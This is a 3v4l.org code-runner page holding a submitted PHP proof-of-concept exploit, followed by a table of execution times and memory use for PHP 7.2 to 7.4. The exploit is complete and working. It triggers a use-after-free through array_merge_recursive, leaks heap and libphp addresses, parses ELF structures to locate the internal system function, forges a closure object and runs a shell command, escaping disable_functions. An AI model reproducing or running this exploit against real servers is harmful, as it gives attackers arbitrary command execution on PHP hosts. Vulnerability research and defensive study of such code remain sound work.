3v4l.org

run code in 300+ PHP versions simultaneously
<?php pwn("uname -a"); function pwn($cmd) { global $abc, $helper; class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); $str_2 = substr(str_shuffle(str_repeat('A', 79)), 0); $array_process_3 = array("str_2" => &$str_2, "arg_2" => &$str_2); $array_process_3 = array_merge_recursive($array_process_3, $array_process_3); $array_process_3 = null; if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $abc = $str_2; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler printf("[*] closure handlers address is 0x%x <br>", $closure_handlers); printf("[*] libphp base address is 0x%x <br>", $base); printf("[*] abc address is 0x%x <br>", $abc_addr); ($helper->b)($cmd); exit(); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.120.0090.00916.61
7.4.110.0080.01716.60
7.4.100.0100.00816.75
7.4.90.0100.01316.50
7.4.80.0060.01416.70
7.4.70.0130.00816.70
7.4.60.0090.01316.80
7.4.50.0070.01416.80
7.4.40.0030.01716.78
7.4.30.0090.01316.66
7.4.20.0100.01316.71
7.4.10.0120.01116.67
7.4.00.0210.00016.88
7.3.240.0180.00016.40
7.3.230.0130.01316.41
7.3.220.0170.00416.80
7.3.210.0090.01216.68
7.3.200.0180.01516.62
7.3.190.0030.01916.50
7.3.180.0110.01016.66
7.3.170.0130.00916.75
7.3.160.0160.00816.83
7.3.150.0090.01216.71
7.3.140.0130.00816.59
7.3.130.0140.00816.81
7.3.120.0180.00516.48
7.3.110.0160.01316.73
7.3.100.0030.02016.55
7.3.90.0100.01416.54
7.3.80.0150.00916.51
7.3.70.0090.01216.43
7.3.60.0060.01316.43
7.3.50.0170.01416.62
7.3.40.0090.01216.68
7.3.30.0090.01516.43
7.3.20.0150.01016.63
7.3.10.0090.01216.36
7.3.00.0100.01016.54
7.2.340.0160.00616.79
7.2.330.0100.01016.60
7.2.320.0150.01216.50
7.2.310.0100.01016.84
7.2.300.0200.00016.74
7.2.290.0170.00516.96
7.2.280.0140.00316.67
7.2.270.0130.00616.69
7.2.260.0030.01616.60
7.2.250.0200.00716.85
7.2.240.0180.00416.66
7.2.230.0130.00716.78
7.2.220.0130.01116.54
7.2.210.0120.00916.67
7.2.200.0110.00716.56
7.2.190.0090.00916.64
7.2.180.0160.00816.55
7.2.170.0090.01216.59
7.2.160.0130.00716.64
7.2.150.0090.00916.79
7.2.140.0110.00816.86
7.2.130.0110.01116.81
7.2.120.0110.01116.46
7.2.110.0140.00616.62
7.2.100.0120.00816.59
7.2.90.0160.00316.66
7.2.80.0680.01416.91
7.2.70.0140.00816.74
7.2.60.0110.01116.58
7.2.50.0090.00916.77
7.2.40.0130.00816.63
7.2.30.0100.01316.83
7.2.20.0120.00916.91
7.2.10.0060.01716.77
7.2.00.0140.00716.80

preferences:
22.46 ms | 401 KiB | 5 Q